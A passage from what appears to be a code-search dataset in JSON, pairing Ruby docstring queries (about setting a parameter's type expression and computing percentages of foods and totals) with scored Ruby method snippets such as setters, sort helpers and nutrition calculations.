@location.name_is?(name)\n end", "title": "" }, { "docid": "9da6d0e4b65ba7f1e344c4979f203b5a", "score": "0.5255519", "text": "def <=>(schema)\n sort_key <=> schema.sort_key\n end", "title": "" }, { "docid": "af6e8d2e9e983d7b1897253a738042f5", "score": "0.5248027", "text": "def no_downcase_field(_field_name)\n false\n end", "title": "" }, { "docid": "52da210d4e7d2bcc2424cf14d0349f50", "score": "0.5241326", "text": "def xmldoc?\n sort == ::XMLDOC\n end", "title": "" }, { "docid": "20260d22cd955667fce8fbc7973d3a83", "score": "0.52379405", "text": "def sort\n (@params[:sort] || :created_at).to_sym\n end", "title": "" }, { "docid": "c1c84f266b66cb570162909d81afa2e1", "score": "0.52277756", "text": "def key?(name)\n @data.key?(name.to_s)\n end", "title": "" }, { "docid": "5ea26907738b586f0dcca1b20ad6d3e8", "score": "0.52214736", "text": "def sort_params\n @_sort_params ||=\n if params[:sort].present?\n params[:sort].split(',').each_with_object({}) do |field, hash|\n unformatted_field = @request.unformat_key(field)\n desc, field = unformatted_field.to_s.match(/^([-_])?(\\w+)$/i)[1..2]\n hash[field.to_sym] = desc.present? ? :desc : :asc\n end\n end\n end", "title": "" }, { "docid": "3c9d7c1cb0893b32dabe1ce70997bb25", "score": "0.5218003", "text": "def orderable? = super && index.orderable?", "title": "" }, { "docid": "62d66f126ea54576b7ca74b24a56066f", "score": "0.5215187", "text": "def add_sorting_to_solr(solr_parameters)\n solr_parameters[:sort] = sort if sort.present?\n end", "title": "" }, { "docid": "02c57dd57d9512a783205aeb51f035c2", "score": "0.5210674", "text": "def is_ordered?\n # TODO Stubbed - Requires definition and implementation\n end", "title": "" } ]
3675c81830ed65e835c6d56d1908dd8b
Set Expression that should evaluate to the parameter's type
[ { "docid": "ea5c20ce9e6112578b9ad258447430f8", "score": "0.6746232", "text": "def type_expr(o)\n @init_hash['type_expr'] = o\n end", "title": "" } ]
[ { "docid": "243893b1c7984adadae250cd88893bab", "score": "0.6422001", "text": "def type_expr; end", "title": "" }, { "docid": "22942728acd6a328ae9aea58dbd33859", "score": "0.6123233", "text": "def type_expr(new_payload_type = T.unsafe(nil)); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "bb67501064942364fb867e80120cd408", "score": "0.59205", "text": "def type=(_); end", "title": "" }, { "docid": "6df6c51641630a453652501868a0aecc", "score": "0.58810395", "text": "def arel_convert_to_type(left, right = nil, set_type = nil)\n named_function(set_type || type, [left, right || left])\n end", "title": "" }, { "docid": "184aa7fe6c4fbe5c3bd805a4d4d4c919", "score": "0.58295894", "text": "def type=(value); end", "title": "" }, { "docid": "17782cd568da34ca386664780aee5619", "score": "0.5803236", "text": "def arel_convert_to_type(left, right = nil, set_type = nil)\n arel_named_function(set_type || type, left, right || left)\n end", "title": "" }, { "docid": "3764e2e221d5ad2813c850268e0fbc30", "score": "0.57831967", "text": "def type(context)\n context.set(target, value.type(context))\n end", "title": "" }, { "docid": "6c6c7cc7420431b50b1a1225f8dc5dea", "score": "0.5733474", "text": "def setParameter key, value, type = nil\n #$key = trim($key, ':');\n paramTypes[key] = type || Query::ParameterTypeInferer::inferType( value )\n params[key] = value\n\n return self\n end", "title": "" }, { "docid": "c44965db33e0045f75660529ba047532", "score": "0.57012075", "text": "def type=(type); end", "title": "" }, { "docid": "b995d748d5a160d87e16ab66ac15b9b5", "score": "0.56999767", "text": "def define_setter\n _type = type\n\n klass.send(:define_method, \"#{attribute}=\") do |value|\n converted_value = StoreSchema::Converter.new(value, _type).to_db\n\n if converted_value\n super(converted_value)\n else\n super(nil)\n end\n end\n end", "title": "" }, { "docid": "5860971250af8c4c500d26c1bd83e1ef", "score": "0.5687658", "text": "def type= t\n if ALLOWED_TYPES.include?(t)\n @type = t\n else\n raise TypeError, \"Plottr::Column#type= only accepts #{ALLOWED_TYPES.map(&:to_s).join(\", \")}.\"\n end\n end", "title": "" }, { "docid": "4f5b071120f550ffa8651e8cf12e23fa", "score": "0.5687578", "text": "def type_setter\n @type_setter ||= type ? \"#{type}=\" : nil\n end", "title": "" }, { "docid": "3acc5ba44097a018abd3e1f779d9cdb2", "score": "0.5667206", "text": "def type_expr\n @type_expr || (superclass.respond_to?(:type_expr) ? superclass.type_expr : nil)\n end", "title": "" }, { "docid": "bc979563164d7bf4ee532ad6e7cf7d93", "score": "0.5632429", "text": "def type= (v)\n add_attribute('type', v)\n end", "title": "" }, { "docid": "26602e41d597a729539edc03bfc17961", "score": "0.55992186", "text": "def set_type(val)\n self.type = val\n self\n end", "title": "" }, { "docid": "b3fe0310ca336b002a3170da14aaefb6", "score": "0.55720013", "text": "def type t\n @type = t\n self\n end", "title": "" }, { "docid": "87b838e222dbca3f78f918e89440c39a", "score": "0.5533873", "text": "def expression=(_); end", "title": "" }, { "docid": "87b838e222dbca3f78f918e89440c39a", "score": "0.5533873", "text": "def expression=(_); end", "title": "" }, { "docid": "0a1a9c8f2c946adf1dea29ca661ff0e1", "score": "0.55218434", "text": "def expression_set(type, string)\n case type\n when :date\n date_expressions\n when :time\n time_expressions\n when :datetime\n # gives a speed-up for date string as datetime attributes\n if string.length < 11\n date_expressions + datetime_expressions\n else\n datetime_expressions + date_expressions\n end\n end\n end", "title": "" }, { "docid": "0a1a9c8f2c946adf1dea29ca661ff0e1", "score": "0.55218434", "text": "def expression_set(type, string)\n case type\n when :date\n date_expressions\n when :time\n time_expressions\n when :datetime\n # gives a speed-up for date string as datetime attributes\n if string.length < 11\n date_expressions + datetime_expressions\n else\n datetime_expressions + date_expressions\n end\n end\n end", "title": "" }, { "docid": "67035c07d95e7f566afe56c3e9a3a28b", "score": "0.5496267", "text": "def type\n Attribute.infer_type(operand)\n end", "title": "" }, { "docid": "de6752b169e6e70416d2093d2bf3bacb", "score": "0.54719967", "text": "def set_type(t)\n self.type = t\n self\n end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "44838951cfd761037db60bf548c1211f", "score": "0.5462102", "text": "def type=(_arg0); end", "title": "" }, { "docid": "c7371b058fb8c0cc61d2d7614c6bbb9a", "score": "0.54581237", "text": "def set_type(val)\n self.type = val\n self\n end", "title": "" }, { "docid": "306e9808f78e8ccaea9efba83c427428", "score": "0.5457665", "text": "def type= (type)\r\n @type = type;\r\n end", "title": "" }, { "docid": "306e9808f78e8ccaea9efba83c427428", "score": "0.5457665", "text": "def type= (type)\r\n @type = type;\r\n end", "title": "" }, { "docid": "306e9808f78e8ccaea9efba83c427428", "score": "0.5457665", "text": "def type= (type)\r\n @type = type;\r\n end", "title": "" }, { "docid": "c42bf29dc960c87c3f4d60b9318cde38", "score": "0.54530627", "text": "def set_type(v)\n self.type = v\n self\n end", "title": "" }, { "docid": "22df6e8a3837eda1fc51bf31aaf1f528", "score": "0.54382014", "text": "def initialize(expr, type)\n @expr = expr\n @type = type\n end", "title": "" }, { "docid": "3995d3b0b4addce5991f5c8dcfb5fade", "score": "0.54294986", "text": "def expression=(value)\n @expression = value\n end", "title": "" }, { "docid": "7243e6a73e4bf839935ce616e8df5e8b", "score": "0.5428116", "text": "def set_column_type(name, type)\n @operations << {:op => :set_column_type, :name => name, :type => type}\n end", "title": "" }, { "docid": "e500df02fe70da626d9f446c5c8338cb", "score": "0.54271966", "text": "def set_type\n @type = type\n end", "title": "" }, { "docid": "174fc0add9eb11c80063b789a924c21e", "score": "0.54238474", "text": "def value_type=(new_type)\n super new_type.to_s\n end", "title": "" }, { "docid": "1eed450baf9546d0f7a63968371d1d68", "score": "0.5423832", "text": "def type=(t)\n if not ['signal', 'method_call', 'method_return', 'error'].member?(t)\n raise MatchRuleException \n end\n @type = t\n end", "title": "" }, { "docid": "197e4d6ff03616d0fdaacb1f5f00dd91", "score": "0.5371228", "text": "def with_value_type(value_type)\n @value_type = value_type\n self\n end", "title": "" }, { "docid": "6b21b031ae202fd81d62198127443aa6", "score": "0.53710496", "text": "def with_type(criterion)\n if criterion.nil?\n raise Errors::CriteriaArgumentRequired, :with_type\n end\n\n typed_override(criterion, \"$type\") do |value|\n ::Integer.evolve(value)\n end\n end", "title": "" }, { "docid": "2d6e6669fce331b28613a7ca6b4be4c1", "score": "0.53592545", "text": "def type\n Attribute.infer_type(operand)\n end", "title": "" }, { "docid": "2d6e6669fce331b28613a7ca6b4be4c1", "score": "0.53592545", "text": "def type\n Attribute.infer_type(operand)\n end", "title": "" }, { "docid": "f5d741b55c8a3239a89cb69c32765a29", "score": "0.5357075", "text": "def ora_object_type=(s)\n self[:type] = s\n end", "title": "" }, { "docid": "7305d82b7e76e9e07358911415592f61", "score": "0.53538704", "text": "def set_type(v)\n add_attribute('type', v)\n self\n end", "title": "" }, { "docid": "55ba12f311078a33766f12b7adec281a", "score": "0.53526294", "text": "def set_type\n @type = type\n end", "title": "" }, { "docid": "992c9d8f305233338448c5763bc3f657", "score": "0.53444564", "text": "def set_data_type_property(value)\n object.send((property.to_s + '='), value)\nend", "title": "" }, { "docid": "c6cb5327fd16e485d3381bf16c1d3747", "score": "0.5340162", "text": "def expression= new_expression\n @expression = String new_expression\n end", "title": "" }, { "docid": "1fc864603bd969dba4386b0bff34e3ef", "score": "0.53369063", "text": "def type(*args)\n Sequel::SQL::StringExpression.new(:NOOP, function(:type, *args))\n end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "0f6e336053fc3e7b6ed76fdc5bfd85cc", "score": "0.5327986", "text": "def typed=(_arg0); end", "title": "" }, { "docid": "485c261711cf38cea8d86d9794f401a6", "score": "0.53191215", "text": "def type=(type) @type = type ? type.to_sym : nil end", "title": "" }, { "docid": "ddf31f95b1217577c0edf7d5a27e3aac", "score": "0.53024304", "text": "def resolved_type=(_arg0); end", "title": "" }, { "docid": "cb98aab223897528087e15f527d33397", "score": "0.52985966", "text": "def type(arg = nil)\n return @type if arg.nil?\n @type = arg\n end", "title": "" }, { "docid": "4d6b46cb46243b9f1824ae617d946ae5", "score": "0.5284508", "text": "def set_type(t, type)\n raise NotImplementedError\n end", "title": "" }, { "docid": "e1e66973b30642531ebf8214a8750eb2", "score": "0.5271818", "text": "def with_value(sexp, type)\n @value_type = type\n @value_sexp = sexp\n self\n end", "title": "" }, { "docid": "a76217a56e664f4d6d7db84c51487fbb", "score": "0.525744", "text": "def query_alteration_type=(value)\n @query_alteration_type = value\n end", "title": "" }, { "docid": "65a97623a9ab5d764c03285055f3abbf", "score": "0.5256188", "text": "def type=(value)\n @type = value\n end", "title": "" }, { "docid": "02883211d38587b34b922820a88e0686", "score": "0.5248156", "text": "def replace_value_type(new_type)\n @value_type = new_type\n end", "title": "" }, { "docid": "8488fd40fcd52b848d7ece6f720969ca", "score": "0.522888", "text": "def sexp_type= v\n self[0] = v\n end", "title": "" }, { "docid": "8488fd40fcd52b848d7ece6f720969ca", "score": "0.522888", "text": "def sexp_type= v\n self[0] = v\n end", "title": "" }, { "docid": "cea7572fb741dc6f8ab4cf737655f999", "score": "0.5205936", "text": "def sql_type=(_); end", "title": "" }, { "docid": "a26e5b6e218b7bb37cb2a8e8ff915828", "score": "0.5200542", "text": "def set_variable_type(obj_name, name, variable_type)\n create_method(obj_name, \"#{name}_variabletype\".to_sym) do\n variable_type\n end\n end", "title": "" }, { "docid": "14d1e701c36862fb2f651e0611476a20", "score": "0.5177281", "text": "def type=(new_type)\n @type = new_type.to_sym\n end", "title": "" }, { "docid": "3e6970effe0f593db71f4e1ae72efcac", "score": "0.5155752", "text": "def initialize(type,child)\n # Create the expression and set the type\n super(type)\n # Check and set the child.\n unless child.is_a?(Expression)\n raise AnyError,\"Invalid class for an expression: #{child.class}\"\n end\n @child = child\n # And set its parent.\n child.parent = self\n end", "title": "" }, { "docid": "8b38a0c113c25af259c6bd7c2f9dd293", "score": "0.5149519", "text": "def type(value)\n self.type_val = value.to_sym\n end", "title": "" }, { "docid": "216be051faa75e755d986bd58bff5f08", "score": "0.51371706", "text": "def type=(value)\n @type = value\n end", "title": "" }, { "docid": "216be051faa75e755d986bd58bff5f08", "score": "0.51371706", "text": "def type=(value)\n @type = value\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" }, { "docid": "1f92069896cc598e06307afbfe566b84", "score": "0.5137123", "text": "def type=(type)\n if type.nil?\n fail ArgumentError, 'invalid value for \"type\", type cannot be nil.'\n end\n @type = type\n end", "title": "" } ]
b404ecaa25b5c4d7ad5c98e1c67158d7
Pourcentage de canons (par rapport au nombre de mots total)
[ { "docid": "987c1a24d29f88ce3b7a5943c1a7e8a1", "score": "0.76457083", "text": "def pourcentage\n @pourcentage ||= (nombre.to_f / analyse.all_mots.count).pourcentage\n end", "title": "" } ]
[ { "docid": "877407ead8f790780504addfe9794514", "score": "0.7094747", "text": "def compute_fullcnpswage\n ( full_caissebase + full_process_bonuses ).ceil\n end", "title": "" }, { "docid": "d329bceca123c744b7f5b70df6895e60", "score": "0.70328695", "text": "def calcula_pago_total\n \t \tmonto = self.monto\n \t\ttipo_cliente = self.tipo\n \t\tif tipo_cliente == \"colocadora\"\n \t\t\tmonto = ((monto* 0.00)+monto).to_i\n \t\telse\n \t\t\tmonto = ((monto* 0.50)+monto).to_i\n \t\tend\n \tend", "title": "" }, { "docid": "dc920485cff1cba0df52c5451ee6e079", "score": "0.6864194", "text": "def por_carbo\n\t\t\t(@carbohidratos/suma_gramos)*100\n\t\tend", "title": "" }, { "docid": "571767ea0d1a7ba2157a8cc7c473807b", "score": "0.68060774", "text": "def get_individual_bono_percentage\n @goles / (@nivel.goles_mes.to_f / 100)\n end", "title": "" }, { "docid": "a38cdb78c9a9c2b600d7626e122d231f", "score": "0.67857134", "text": "def por_lip\n\t\t\t(@lipidos/suma_gramos)*100\n\t\tend", "title": "" }, { "docid": "250207c5000fb41fcb8325f36a759181", "score": "0.67516667", "text": "def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend", "title": "" }, { "docid": "62a3a6d3a933dc0857312ab1eb32e590", "score": "0.6749182", "text": "def precio_total_compras\n compras.sum(:precio_total)\n #p = 0\n #compras.each do |compra|\n #p += (compra.precio_total || 0)\n #end\n #return p\n end", "title": "" }, { "docid": "4399e6179802079e434841cb31b7d27e", "score": "0.66926026", "text": "def porcentaje_carbohidratos\n recorrido = lista_alimentos.head\n acumulador = 0\n porcentaje = 0\n\n while recorrido != nil\n acumulador = acumulador + recorrido.value.proteinas + recorrido.value.carbohidratos + recorrido.value.lipidos\n porcentaje = porcentaje + recorrido.value.carbohidratos\n\n recorrido = recorrido.next\n end\n\n ((porcentaje * 100)/acumulador).round(2)\n end", "title": "" }, { "docid": "d2a3e76dace1d20847c7305d0a07c365", "score": "0.66899633", "text": "def calculo \n self.minutos_reales = 5 * 480 #cantidad de OPERARIOS * Jornada de Trabajo(Turnos)\n self.costo_minuto = 89 #Costo Real por minuto\n self.otros_costos = 540 * 89 #Tiempo Total(Minutos) * Costo Real por Minutos\n self.costo_mano_obra = 420 * 5 * 89 # Jornada Minutos * Cantidad Operarios * Costo Real por minutos \n self.manoObraPlaneada = 650.000 * 5 # Salario Total * Cantidad de operarios \n end", "title": "" }, { "docid": "17d509381b377dee2c9ccd4cf5404481", "score": "0.6681291", "text": "def calcular_ganancia\n dolar = Option.instance.dolar_libre.to_f\n dinero_acumulado = self.movements.inject(0) do |total,m|\n total + m.monto_neto\n end\n precio_en_dolares = (dinero_acumulado / dolar)\n return (precio_en_dolares - self.copia.precio_compra.to_f)\n end", "title": "" }, { "docid": "ec712f73524c2d3436fdaea4203b32b4", "score": "0.66736656", "text": "def calculo_valor_calorico_total\n recorrido = lista_alimentos.head\n cantidad = lista_cantidades.head\n acumulador = 0\n\n while (recorrido != nil && cantidad != nil)\n acumulador = acumulador + (((recorrido.value.proteinas * cantidad.value)/1000) * 4) + (((recorrido.value.lipidos * cantidad.value)/1000) * 9) + (((recorrido.value.carbohidratos * cantidad.value)/1000) * 4)\n\n recorrido = recorrido.next\n cantidad = cantidad.next\n end\n\n acumulador.round(2)\n end", "title": "" }, { "docid": "38c1297ef8c8a9e789dae7e0a7f5304d", "score": "0.66403764", "text": "def carbo \n grtotal = 0\n sum = 0\n\t\t#itera en las dos listas a la vez para poder calcular las \n #cabrohidratos dependiendo de la cantidad y tambien suma\n #todas las cantidades para poder calcular el porcentaje\n #despues\n @lista.zip(@listagr).each do |normal, gr|\n grtotal += gr\n cant = gr/1000.0\n sum += normal.carbo*cant\n end\n (sum*100)/grtotal\n end", "title": "" }, { "docid": "6d4a89548ce3b7d50c584e1ae9d0281b", "score": "0.662182", "text": "def calcular_total\n\t\treturn calcular_seguro*calcular_incremento\n\tend", "title": "" }, { "docid": "12495c8f615571c9ee230958889eafd4", "score": "0.66161746", "text": "def total_cups(n)\n\ttotal = (n / 6).to_i + n\nend", "title": "" }, { "docid": "1395d7de1c3c35e5490a13304675f9c6", "score": "0.6592589", "text": "def carbohidratos\n\t\treturn @carbohidratos*@cantidad\n\tend", "title": "" }, { "docid": "d9754282f21f6a32d851d2c7ee8f9d40", "score": "0.6590657", "text": "def por_prote\n\t\t\t(@proteinas/suma_gramos)*100\n\t\tend", "title": "" }, { "docid": "c4fad4fb65d15b598b51bab92ace5452", "score": "0.6581913", "text": "def car\n\t\tsuma = 0\n\t\tx = 0\n\t\tcantidad = 0\n\n\t\t@alimentos.each do |i|\n\t\t\tcantidad = @gramos[x].valor / (i.proteinas + i.lipidos + i.carbohidratos)\n\t\t\tsuma += i.carbohidratos * cantidad\n\t\t\tx += 1\n\t\tend\t\n\n\t\treturn ((suma * 100) / gramos_total).round(2)\n\tend", "title": "" }, { "docid": "2d89e12c0a2b95b22d18b9c740504aef", "score": "0.6563625", "text": "def porcentajeGlucidos\r\n total_glucidos = 0.0\r\n la = @listaAlimentos.head\r\n lg = @listaGramos.head\r\n while la != nil do\r\n total_glucidos += (la.value.carbohidratos * lg.value) / 100\r\n la = la.next\r\n lg = lg.next\r\n end\r\n total_gramos = listaGramos.reduce(:+)\r\n porcentajeGlucidos = ((total_glucidos / total_gramos)*100).round(2)\r\n end", "title": "" }, { "docid": "96df980922e6855ac4d1f9108d112c74", "score": "0.6562149", "text": "def pProteina \n\t\tprot = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\ttotal += (alimento.proteinas + alimento.lipidos + alimento.carbohidratos)\n\t\t\tprot += alimento.proteinas\n\t\tend\n\t\treturn ((prot/total)*100).round\t\n\tend", "title": "" }, { "docid": "71bb8cf10dafb6559f8de889872f5164", "score": "0.6552404", "text": "def promedio(visitas_diarias)\n visitas_diarias.sum / visitas_diarias.count #suma de los datos dividido la cantidad de datos\nend", "title": "" }, { "docid": "6c0073f46966998896c066a1eaa7babe", "score": "0.6548266", "text": "def por_carbohidratos\n \taux_carbohidratos = 0.0\n\t\ti = 1\n\t \twhile i < @lista_alimentos.size do\n\t\t\taux_carbohidratos += @lista_alimentos[i].carbohidratos * @lista_cantidades[i]\n\t\t\ti+=1\n\t\tend\n\t\treturn ((aux_carbohidratos/total_nutrientes)*100.0).round(2)\n\tend", "title": "" }, { "docid": "15b018621fcbb4a829c82e8ce147b253", "score": "0.6532875", "text": "def calorie_count\n @sugar_amount * CALORIES_PER_SUGAR_GRAM +\n @flour_amount * CALORIES_PER_FLOUR_GRAM\n end", "title": "" }, { "docid": "eaca7be95f06ef1a4956ee5e604a8714", "score": "0.6520875", "text": "def vct\n\t\tsuma = 0\n\t\t\n\t\tsuma += prot * gramos_total * 4 / 100\n\t\tsuma += car * gramos_total * 4 / 100\n\t\tsuma += lip * gramos_total * 9 / 100\n\t\t\n\t\treturn suma.round(2)\n\tend", "title": "" }, { "docid": "faaa0c27531c1a4636807dc3572b3868", "score": "0.6518636", "text": "def total_tonnes\n\t\t(calculations.collect(&:tonnes).sum).round 2\n\tend", "title": "" }, { "docid": "8818201140a57611a6181b5356ba11ad", "score": "0.65145296", "text": "def get_cout_total_passages\n\t sum = 0\n\t self.putoparcelles.each do |putoparcelle|\n \t\tsum += putoparcelle.pulve.get_cout_total_passage_col(self)\n end\n sum\n end", "title": "" }, { "docid": "83271458565d784bd874b6ae799b1e17", "score": "0.6504807", "text": "def totalProteina \n\t\tprot = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\tprot += alimento.proteinas\n\t\tend\n\t\treturn prot.round(2)\n\tend", "title": "" }, { "docid": "5833ba346929ee6ff3a39f716d5d2c1f", "score": "0.6478039", "text": "def calculo_valor_energetico\n\t\t\t(@carbohidratos*4) + (@lipidos*9) + (@proteinas*4)\n\t\tend", "title": "" }, { "docid": "6d0cc71ea0127ede5b2116139a5ce9d8", "score": "0.64638776", "text": "def preco_total\n produto.preco * quantidade\n end", "title": "" }, { "docid": "7f71534cec45302d7d9ca46f87a74b4d", "score": "0.6461338", "text": "def totalLipidos\n\t\tlip = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\tlip += alimento.lipidos\n\t\tend\n\t\treturn lip.round(2)\n\t\n\tend", "title": "" }, { "docid": "7ebb96afa8f43ca350411b5e6a0f6a1e", "score": "0.6459793", "text": "def total_bill\n (@bill * (1 + @tip)).ceil.to_i\n end", "title": "" }, { "docid": "d3c1420168e53bfce2a629fcac142e9e", "score": "0.6438354", "text": "def valorazucaresp\n\t\tvag=(azucares * 70) / 100\n vag.round(2)\n\tend", "title": "" }, { "docid": "032928bf3f1081e7534353aa66822ac8", "score": "0.6428778", "text": "def irazucares\n vag=(azucares * 100) / 90\n vag.round(2)\n end", "title": "" }, { "docid": "a90287d6b0562acfc731e556366786a0", "score": "0.64236474", "text": "def calories_per_liter\n 672\n end", "title": "" }, { "docid": "0ce22f1de08f16b71127e1041ffcc147", "score": "0.6420132", "text": "def precio_total_comprar\n precio_compra = @coste + ((@num_casas + @num_hoteles) * @titulo.precio_edificar).to_i\n \n return precio_compra\n end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.6407108", "text": "def total; end", "title": "" }, { "docid": "39c22098b0c19cff7d2ef92f390eec4b", "score": "0.6400818", "text": "def gramos_total\n\t\tsuma = 0\n\t\t\n\t\t@gramos.each do |i|\n\t\t\tsuma += i\n\t\tend\n\n\t\treturn suma.round(2)\n\tend", "title": "" }, { "docid": "86200dd0f18f43d9d8ef426ed3abc2ca", "score": "0.63869435", "text": "def how_many\n return @@total_samurais\n end", "title": "" }, { "docid": "6153fb334e3a4b70837204081fa38e12", "score": "0.638174", "text": "def percent_passes; end", "title": "" }, { "docid": "6153fb334e3a4b70837204081fa38e12", "score": "0.638174", "text": "def percent_passes; end", "title": "" }, { "docid": "42fd46dd176ea69dd337972688dbc257", "score": "0.6378985", "text": "def ir_grasa_total \n\t\t@grasa_ir = grasas_totales\n\t\t@ir_grasa_total = (@grasa_ir/70.to_f) * 100\n\t\t@ir_grasa_total.round(1)\n\tend", "title": "" }, { "docid": "6808ea97c7c12906b9332fad05558faf", "score": "0.6374489", "text": "def subtotal\n precio * cantidad\n end", "title": "" }, { "docid": "03681d4167b5a30adb6d41d35bc54d46", "score": "0.63683015", "text": "def apport_calorique(repas)\n @calrep = 0\n #on fait la somme des calories acquises ce jour\n repas.each do |r|\n @calrep += r.calories\n end\n @calrep.round\n end", "title": "" }, { "docid": "92284183f1170de75a150131b0d6ce20", "score": "0.63663244", "text": "def carbsPercent()\n\t\t\t\tplato = @alimentsList.head\n\t\t\t\tgrams = @gramsList.head\n\t\t\t\ttotalEnergy = 0.0\n\t\t\t\ttotalCarbsEnergy = 0.0\n\n\t\t\t\twhile plato != nil\n\t\t\t\t\ttotalEnergy += (plato.value.get_energia * grams.value) / 100\n\t\t\t\t\ttotalCarbsEnergy += (plato.value.get_energia_carbs * grams.value) / 100\n\n\t\t\t\t\tplato = plato.next\n\t\t\t\t\tgrams = grams.next\n\t\t\t\tend\n\n\t\t\t\treturn (totalCarbsEnergy * 100) / totalEnergy\n\t\t\tend", "title": "" }, { "docid": "2d5263e312a976cb5eff92d5fa3a260d", "score": "0.6354181", "text": "def porcentaje_graso\n (1.2*calcular_imc)+(0.23*@edad)-(10.8*@sexo)-5.4\n end", "title": "" }, { "docid": "669e338b8fdd6eae1a87668936d3a3cf", "score": "0.6344441", "text": "def porcentaje_glucidos\n auxNodo1 = @lista_alimentos.head\n auxNodo2 = @gramos.head\n porcentaje_gluc = 0\n while(auxNodo1 != nil && auxNodo2 != nil)\n porcentaje_gluc += (auxNodo1.value.glucidos * auxNodo2.value) / 100\n auxNodo1 = auxNodo1.next\n auxNodo2 = auxNodo2.next\n end\n return porcentaje_gluc.round(1)\n end", "title": "" }, { "docid": "c4d5864ca4f300ffbf8c826588e524fe", "score": "0.6328048", "text": "def totalGramos\n\t\tgramos = 